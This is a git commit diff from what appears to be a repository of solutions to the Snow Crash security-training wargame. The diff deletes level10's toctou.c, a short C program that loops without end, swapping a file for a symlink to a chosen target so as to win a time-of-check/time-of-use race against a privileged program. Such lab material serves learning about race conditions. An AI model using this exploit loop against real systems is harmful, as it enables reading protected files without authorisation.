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refactor(maiboyer): adding the maibaoyer directory

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Raphael 2026-01-28 03:51:08 +01:00
parent db7f1343c5
commit ab55d4de10
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20
snowcrash/level10/ressources/toctou.c
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@ -1,20 +0,0 @@
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "%s: <file> <target>\n", argv[0]);
return 1;
}
const char *file = argv[1];
const char *target = argv[2];
int fd = -1;
while (1) {
unlink(file);
fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
close(fd);
unlink(file);
symlink(target, file);
}
}